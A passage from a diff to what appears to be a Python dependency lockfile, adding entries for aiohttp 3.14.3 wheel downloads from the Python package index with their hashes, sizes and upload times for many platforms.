+ { url = "https://files.pythonhosted.org/packages/db/c2/00e23a1bf2abb70dd353f6987db7e7f2491d0261f7363997738c71c98f95/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f", size = 1751353, upload-time = "2026-07-23T01:52:33.688Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/7d/d51a706a8cbfa57f0611127daf61ab3ae02ab8420b0407412079227d1c65/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32", size = 1698681, upload-time = "2026-07-23T01:52:38.167Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/b0/90bd5cd9fdd9787cb4211d284d1fb8401339a933cb0227a15b71e789232f/aiohttp-3.14.3-cp310-cp310-win32.whl", hash = "sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e", size = 456733, upload-time = "2026-07-23T01:52:41.823Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/15/fe5b8f6a71ae112bc677163d0b0701bda5dc15005249582258ede0eb88c7/aiohttp-3.14.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c", size = 480460, upload-time = "2026-07-23T01:52:43.905Z" },
+ { url = "https://files.pythonhosted.org/packages/54/00/45e98b6645cd7f00a4b78b749ebd309094b0eaeb2d2e96157eadbc0d0050/aiohttp-3.14.3-cp310-cp310-win_arm64.whl", hash = "sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb", size = 453479, upload-time = "2026-07-23T01:52:46.075Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/5c/b3e4ff8ad43a8afef9602c5e90285936da1beaea8b029016b793891f03c3/aiohttp-3.14.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3", size = 764250, upload-time = "2026-07-23T01:52:48.525Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/da/f1b384465e51449d844056b75070461da03a9a23e6c1747003695bf4172a/aiohttp-3.14.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a", size = 516281, upload-time = "2026-07-23T01:52:51.047Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/3f/01264f820ee2e3712a827892b1cd6ff80f3300c1fcbffbb45714a915d47a/aiohttp-3.14.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8", size = 514742, upload-time = "2026-07-23T01:52:53.779Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/8d/a71c6f2db52ac1ed142b133f7feddaa6b70539c3f4de24d7e226c95b794c/aiohttp-3.14.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239", size = 1780613, upload-time = "2026-07-23T01:52:56.948Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/11/3dd9b3fb3a170f6ec9011b5291d876a6fab4086714c9e158600edf01b4fd/aiohttp-3.14.3-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f", size = 1737688, upload-time = "2026-07-23T01:52:59.294Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/3e/834c26918be7d88068822b40e0db30fca50b5f4fe79104aa16a93f1d74e6/aiohttp-3.14.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06", size = 1845742, upload-time = "2026-07-23T01:53:01.641Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/c9/49ab8572df7d66bc13d11e31f781292badb04180dd87ba98733066c6aed7/aiohttp-3.14.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929", size = 1928412, upload-time = "2026-07-23T01:53:04.018Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/b9/2b8f0c0ce09c87a1daf80fd483431b56b1435d3f62789bc86f572e1245de/aiohttp-3.14.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db", size = 1786220, upload-time = "2026-07-23T01:53:06.481Z" },
+ { url = "https://files.pythonhosted.org/packages/85/00/9c45f81de11710460edfa1dc81317b6e882703b160926c879a9d20da9fcc/aiohttp-3.14.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce", size = 1637231, upload-time = "2026-07-23T01:53:10.258Z" },
+ { url = "https://files.pythonhosted.org/packages/19/ce/967d628e910756f3539c6107cb7844a1b69440dcb3029a5ee7871b09ab63/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c", size = 1753161, upload-time = "2026-07-23T01:53:13.817Z" },
+ { url = "https://files.pythonhosted.org/packages/11/b2/0c3d4114f0aee4f580f5b3b4eb71b24d7a23b834ea506a4dfebe76513f35/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15", size = 1756356, upload-time = "2026-07-23T01:53:16.211Z" },
+ { url = "https://files.pythonhosted.org/packages/63/5d/99e7d91c82f1399d1ae2a854e080bd1493fbc31e5e959dbc4ec33dac3bec/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c", size = 1819846, upload-time = "2026-07-23T01:53:18.289Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/05/d5e1cb6480eeffd3f901d40a2c5e2d1e7effdc797837da3b490272699f13/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae", size = 1628531, upload-time = "2026-07-23T01:53:23.86Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/90/b934682bcaefae18a9e04f3dff5b68522ba810906358ae5029b68110ea3b/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910", size = 1832712, upload-time = "2026-07-23T01:53:27.551Z" },
+ { url = "https://files.pythonhosted.org/packages/21/df/6061679faaf81fac746e7307c7adb71e858071a5d34c27583afefc64f543/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7", size = 1775014, upload-time = "2026-07-23T01:53:30.223Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/1d/f854878bbc69b88faefe924b619a34a6f59ec05fd387c77690667eaa75eb/aiohttp-3.14.3-cp311-cp311-win32.whl", hash = "sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa", size = 456006, upload-time = "2026-07-23T01:53:34.97Z" },
+ { url = "https://files.pythonhosted.org/packages/73/0c/2af9d1674baccd1dbd47282a93d660a22e57ef6167c856deb24b4214fbab/aiohttp-3.14.3-cp311-cp311-win_amd64.whl", hash = "sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d", size = 481069, upload-time = "2026-07-23T01:53:39.673Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/76/88401ff3fc95e85c5fc38d588f36f55e61ecb64343b2bc8d69326f453cc0/aiohttp-3.14.3-cp311-cp311-win_arm64.whl", hash = "sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39", size = 453021, upload-time = "2026-07-23T01:53:43.749Z" },
+ { url = "https://files.pythonhosted.org/packages/18/d4/eb96299230e20acf2efae207cb8d69051f1f68e357e5ea5e479bf6fb097a/aiohttp-3.14.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5", size = 754690, upload-time = "2026-07-23T01:53:47.332Z" },
+ { url = "https://files.pythonhosted.org/packages/88/11/e7a70a209eb9a067c0d3212b518a0134e3484f5178c7533878b6b514d469/aiohttp-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228", size = 509484, upload-time = "2026-07-23T01:53:51.159Z" },
+ { url = "https://files.pythonhosted.org/packages/30/07/4bbc222cc8dbe31d4c3e8a5baad2286e4d42026ac0c570027b89afce6344/aiohttp-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee", size = 511949, upload-time = "2026-07-23T01:53:55.083Z" },
+ { url = "https://files.pythonhosted.org/packages/54/b9/42e74c46b7b7c794b995bbc1f573fb48950c38b19d8600c62a6804ee2d67/aiohttp-3.14.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a", size = 1765282, upload-time = "2026-07-23T01:53:59.662Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/ed/62bc4d74363ad346d518e0720363a949f63e2e23439a79eb5813d4d29bb3/aiohttp-3.14.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b", size = 1741511, upload-time = "2026-07-23T01:54:04.063Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/9f/181e8a8bc79e47d13c7fc4540bd7a3b729d9505609c61f392a8dd2fbfe55/aiohttp-3.14.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529", size = 1810680, upload-time = "2026-07-23T01:54:09.882Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/9a/dec94d6ad694552fe3424e3f1928d7a606a5d9d9433a04e7ecdd9d38ae7f/aiohttp-3.14.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787", size = 1905646, upload-time = "2026-07-23T01:54:13.475Z" },
+ { url = "https://files.pythonhosted.org/packages/52/b7/7cd31f29d6055bd711ae6e669367fba6f5ae9de463910a793e30556a8db7/aiohttp-3.14.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42", size = 1792122, upload-time = "2026-07-23T01:54:15.752Z" },
+ { url = "https://files.pythonhosted.org/packages/66/73/10b1ef93afa61f4963c746257b70ced619cf31a4798671de5fdb2608501d/aiohttp-3.14.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b", size = 1591127, upload-time = "2026-07-23T01:54:19.489Z" },
+ { url = "https://files.pythonhosted.org/packages/49/ed/3b203fa6de1b338c14acdc06bf6ca9b043b7944f005966958c2ced932cde/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043", size = 1725210, upload-time = "2026-07-23T01:54:24.129Z" },
+ { url = "https://files.pythonhosted.org/packages/28/b7/1c2aab8c706436dcc28598452488ac9cd7c409da815237c28c27d58993e6/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427", size = 1764848, upload-time = "2026-07-23T01:54:27.973Z" },
+ { url = "https://files.pythonhosted.org/packages/54/50/94c28f08b131c4bf10984ea2c7a536c9920608bb2d6e7f95642c30cc87b7/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d", size = 1777102, upload-time = "2026-07-23T01:54:31.775Z" },
+ { url = "https://files.pythonhosted.org/packages/13/d4/e7d09ba7d345fb2d74440fd2fa033c5e079fac05552927705986f41a364f/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0", size = 1580205, upload-time = "2026-07-23T01:54:34.518Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/84/072a91d68e1e1eb587985b54baab94221277f877e8ef274fc213a0ceae28/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d", size = 1797219, upload-time = "2026-07-23T01:54:36.995Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/eb/aad34e897e668424d6e995da5dff8a4a09af93363d3392488772957a63aa/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19", size = 1768629, upload-time = "2026-07-23T01:54:40.103Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/2b/6bb88ddba0fecd9122aa3ebcad25996cf6c083a4a7040dbb3a4f97972af6/aiohttp-3.14.3-cp312-cp312-win32.whl", hash = "sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559", size = 451481, upload-time = "2026-07-23T01:54:42.547Z" },
+ { url = "https://files.pythonhosted.org/packages/76/9b/f2f8f108da17ecef2cc3efc424e8b7ad3782b1a8360f7b8eae8ced84f6ea/aiohttp-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a", size = 476845, upload-time = "2026-07-23T01:54:44.853Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/44/28dac80a8941b604f4da10ce21097614ca1bf905ce93dca28d8d7de9c1e7/aiohttp-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c", size = 448050, upload-time = "2026-07-23T01:54:47.087Z" },
+ { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86", size = 506269, upload-time = "2026-07-23T01:54:49.075Z" },
+ { url = "https://files.pythonhosted.org/packages/22/09/dec8189d62b45ade009f6792a2264b942a90cb88aeaf181239933cd72c3c/aiohttp-3.14.3-cp313-cp313-android_21_x86_64.whl", hash = "sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627", size = 515166, upload-time = "2026-07-23T01:54:51.894Z" },
+ { url = "https://files.pythonhosted.org/packages/28/24/2854869d29ed8a8b19d74f9ec6629515f7e04d02dd329d9d179201e58e47/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82", size = 486263, upload-time = "2026-07-23T01:54:54.223Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/dd/57187c8be2a35aea65eaee3bd2c3dcbbcf0204f5106c89637e3610380cd1/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c", size = 492299, upload-time = "2026-07-23T01:54:56.236Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/11/06ae6ed8f0d414edf4068861e233d8fe23ee699bfd4b3ceb8663db948a62/aiohttp-3.14.3-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f", size = 502235, upload-time = "2026-07-23T01:54:58.377Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/a3/559639c34a345d2cf7c52dff6838119f2eaf29eb508227b5b83f573af813/aiohttp-3.14.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80", size = 750883, upload-time = "2026-07-23T01:55:00.65Z" },
+ { url = "https://files.pythonhosted.org/packages/91/cd/41e131f13afd1e7b0172a9d9eda085ef90eb8439f41f0d279db81ed3ae60/aiohttp-3.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0", size = 508473, upload-time = "2026-07-23T01:55:02.945Z" },
+ { url = "https://files.pythonhosted.org/packages/bc/6b/e7f13410d391c6e55b4c007a8de024355389d7d459e3d64c42b2d33617e5/aiohttp-3.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf", size = 509190, upload-time = "2026-07-23T01:55:05.173Z" },
+ { url = "https://files.pythonhosted.org/packages/97/21/6464573e53d69672cc1eada3e5c5cb2d2efa82701e8305a0f2047a576967/aiohttp-3.14.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd", size = 1761478, upload-time = "2026-07-23T01:55:07.383Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/81/d217043a4c17fbce360905e3b2bdd20139ebc9a2de836d035d179c4da006/aiohttp-3.14.3-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807", size = 1735092, upload-time = "2026-07-23T01:55:09.803Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/66/e13a02d0eeb1a9a502402a977abb4e4abff9fe4051c26f80558c57a7c975/aiohttp-3.14.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8", size = 1800546, upload-time = "2026-07-23T01:55:12.012Z" },
+ { url = "https://files.pythonhosted.org/packages/26/5e/57d42fca1d18cb5acc1cad945d017fabc5d6ae71d8a08ad66be8dc3ee544/aiohttp-3.14.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24", size = 1895250, upload-time = "2026-07-23T01:55:14.357Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/1c/7da8d08e74d56f00070822f9638ff3f1c563f8ad87d1efa996c87bfc8644/aiohttp-3.14.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5", size = 1789289, upload-time = "2026-07-23T01:55:16.668Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/0f/cf16bcf56896981c1a0319f5d5db9337994b5165730c48a8fa07e9b34be6/aiohttp-3.14.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4", size = 1586706, upload-time = "2026-07-23T01:55:18.913Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/6f/76eac12a7f2480e1e304f842efdb07db33256b0d9165b866b6ef0806c202/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9", size = 1724652, upload-time = "2026-07-23T01:55:21.296Z" },
+ { url = "https://files.pythonhosted.org/packages/39/b6/19c8c592baeeb94b75f966547d40c02ac7590902306ec5863d5c027cf506/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1", size = 1756239, upload-time = "2026-07-23T01:55:23.705Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/c9/4e9383150296f97f873b680c4de8fb2cd88608fb9f48c79edcb111611abc/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371", size = 1769161, upload-time = "2026-07-23T01:55:26.082Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/1e/147bdc6cc5de5f3ab011be8bf5d6e786633249f22c20bae06f85e45f5387/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde", size = 1578759, upload-time = "2026-07-23T01:55:28.846Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/31/78388a9d6040ece2e11df62ea229a822cf5e52d238374b220ae9975b2623/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e", size = 1792025, upload-time = "2026-07-23T01:55:31.457Z" },
+ { url = "https://files.pythonhosted.org/packages/03/51/a3d29fdf2c25d796746af8ad6fe56a45d6256c38b0a8a2ed752e1160b3a2/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71", size = 1768477, upload-time = "2026-07-23T01:55:33.87Z" },
+ { url = "https://files.pythonhosted.org/packages/29/a6/442e18b5afeade534d877a2dc3c3e392aff8d49787890b0cf84790410267/aiohttp-3.14.3-cp313-cp313-win32.whl", hash = "sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0", size = 451069, upload-time = "2026-07-23T01:55:36.121Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/69/3d876ac02659f271cf7f6769f14a8e3de5b6e888ed8b5a7e998086a4cec8/aiohttp-3.14.3-cp313-cp313-win_amd64.whl", hash = "sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883", size = 476518, upload-time = "2026-07-23T01:55:38.303Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/0e/50d6e6471cd31edce8b282bdec59375a3a69124d8a989a0b1313355cae52/aiohttp-3.14.3-cp313-cp313-win_arm64.whl", hash = "sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2", size = 447676, upload-time = "2026-07-23T01:55:40.451Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/20/887fdcf832326571b370ffc347b3e70abe101096f3720126aac161b1d872/aiohttp-3.14.3-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062", size = 509067, upload-time = "2026-07-23T01:55:42.618Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/a3/92cec936f78cc4bf0fa5554ebe593b73459d94e3c62303e1902a4cccb6f7/aiohttp-3.14.3-cp314-cp314-android_24_x86_64.whl", hash = "sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6", size = 514774, upload-time = "2026-07-23T01:55:44.937Z" },
+ { url = "https://files.pythonhosted.org/packages/29/ba/2a0c38df3fc557620b6a5acd98364af050053b6285b4dc7ee74100c63c18/aiohttp-3.14.3-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919", size = 488134, upload-time = "2026-07-23T01:55:47.135Z" },
+ { url = "https://files.pythonhosted.org/packages/48/d6/d51b7d4bf309af3693940d8ffd2b9ed0b682434ef85959b7c9c137f60cf8/aiohttp-3.14.3-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7", size = 494201, upload-time = "2026-07-23T01:55:49.451Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/5a/8f624384e5f1efabb5229b94157eb966b021e97bdb188c62860c2ae243c2/aiohttp-3.14.3-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0", size = 502766, upload-time = "2026-07-23T01:55:51.656Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/26/4ff0164370deec18fb19254ee4ab10b7a73304ac0c860b13f5f84663759b/aiohttp-3.14.3-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924", size = 756557, upload-time = "2026-07-23T01:55:53.964Z" },
+ { url = "https://files.pythonhosted.org/packages/97/a3/7056b86dc0d9ec709ea9777eae3b0161428f943372f8b98c01c11593b682/aiohttp-3.14.3-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646", size = 510168, upload-time = "2026-07-23T01:55:56.22Z" },
+ { url = "https://files.pythonhosted.org/packages/85/ed/0357a015892fd68058bf2d39d3fd1958e459b997a7db30aaa6aaa434ae96/aiohttp-3.14.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b", size = 512957, upload-time = "2026-07-23T01:55:58.437Z" },
+ { url = "https://files.pythonhosted.org/packages/47/d1/8aba53f15ccb2238405f5e9d30e2a8ca44f93878c26e7165ade00d374b1c/aiohttp-3.14.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30", size = 1750149, upload-time = "2026-07-23T01:56:00.856Z" },
+ { url = "https://files.pythonhosted.org/packages/49/bd/40c3fee327529284375c6701cbb0fa4600cc2e8432af1378f897e2ef7d3a/aiohttp-3.14.3-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9", size = 1707685, upload-time = "2026-07-23T01:56:03.371Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/a3/ca0cc6724cca8114b05694abd916060758c79894c3aa5b012cdadc1bc28e/aiohttp-3.14.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f", size = 1803911, upload-time = "2026-07-23T01:56:05.817Z" },
+ { url = "https://files.pythonhosted.org/packages/95/b5/85b099c299c3ffd38ad9b3e43694c8a346934e4a30c88c4fd5a841234f77/aiohttp-3.14.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d", size = 1876929, upload-time = "2026-07-23T01:56:08.413Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/b7/1da684a04175473fa4cddbf9a2f572e79514c3fd27a74597f43057d4f3da/aiohttp-3.14.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147", size = 1761112, upload-time = "2026-07-23T01:56:10.918Z" },
